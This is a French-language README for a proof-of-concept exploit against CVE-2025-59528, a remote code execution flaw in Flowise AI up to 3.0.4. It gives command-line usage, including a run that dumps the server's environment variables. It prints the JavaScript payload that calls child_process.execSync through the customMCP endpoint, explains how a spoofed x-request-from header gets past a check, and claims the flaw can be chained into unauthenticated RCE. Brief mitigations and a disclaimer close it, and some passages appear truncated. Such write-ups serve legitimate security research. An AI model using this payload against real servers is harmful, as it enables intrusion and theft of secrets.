
PoC d'exploitation en Python pour CVE-2025-59528, permettant une RCE authentifiée sur Flowise AI <= 3.0.4 via le point de terminaison customMCP et Node.js child_process.execSync.
ID CVE : CVE-2025-59528
Logiciel affecté : Flowise AI
Versions vulnérables : <= 3.0.4
Version corrigée : 3.0.5 et ultérieures
Gravité : Critique
Auteur : arensballiu
Date : 2025
Les versions de Flowise AI jusqu'à 3.0.4 incluse permettent à un utilisateur authentifié d'obtenir une exécution de code à distance (RCE) sur le serveur hôte en envoyant une charge utile JavaScript spécialement conçue vers le point de terminaison /api/v1/node-load-method/customMCP.
La méthode de chargement du nœud customMCP accepte une entrée contrôlée par l'utilisateur qui est évaluée côté serveur en tant que JavaScript, sans assainissement ni isolation (sandboxing) adéquats. En injectant une charge utile qui exploite child_process.execSync de Node.js, un attaquant peut exécuter des commandes arbitraires du système d'exploitation avec les privilèges du processus serveur Flowise.
Le point de terminaison exige également la présence de l'en-tête x-request-from: internal.
| Point de terminaison | Méthode | Authentification requise | Objectif |
|---|---|---|---|
/api/v1/auth/login | POST | Non | S'authentifier et obtenir une session |
/api/v1/node-load-method/customMCP | POST | Oui (cookie de session) | Point de terminaison vulnérable de la méthode de chargement de nœud |
Fichier : CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| Option | Forme longue | Requis | Description |
|---|---|---|---|
-e | --email | Oui | Adresse e-mail de l'utilisateur authentifié |
-i | --url | Oui | URL de base de l'instance Flowise |
-p | --password | Oui | Mot de passe de l'utilisateur authentifié |
-c | --cmd | Oui | Commande système à exécuter sur le serveur |
Vérifier l'exécution de code :
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Récupérer les variables d'environnement du serveur :
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
L'exploit injecte l'expression JavaScript suivante dans le champ mcpServerConfig :
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') - charge le module d'exécution de processus intégré de Node.js.execSync('<command>') - exécute de manière synchrone la commande système fournie par l'attaquant.L'en-tête x-request-from: internal est également ajouté à la requête pour passer une vérification d'origine interne qui bloquerait sinon l'appel.
Le point de terminaison customMCP transmet directement les entrées fournies par l'utilisateur dans un contexte d'évaluation JavaScript sur le serveur, sans assainissement ni isolation (sandboxing). Combiné à un accès non restreint aux modules de base de Node.js (en particulier child_process) via process.mainModule.require, cela crée un vecteur RCE trivialement exploitable. La vérification de l'en-tête x-request-from n'offre aucune frontière de sécurité réelle, car elle n'est validée auprès d'aucune source de confiance.
Ces deux vulnérabilités peuvent être chaînées pour former un chemin d'attaque RCE non authentifié contre les instances Flowise exécutant les versions <= 3.0.4 :
child_process, fs, etc.) via une isolation appropriée (par exemple vm2, des contextes isolés, ou la suppression de l'accès à process.mainModule).x-request-from via un mécanisme côté serveur plutôt qu'une simple vérification de chaîne.Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité autorisée uniquement. L'utilisation de ce script contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. L'auteur et les contributeurs déclinent toute responsabilité en cas de mauvaise utilisation.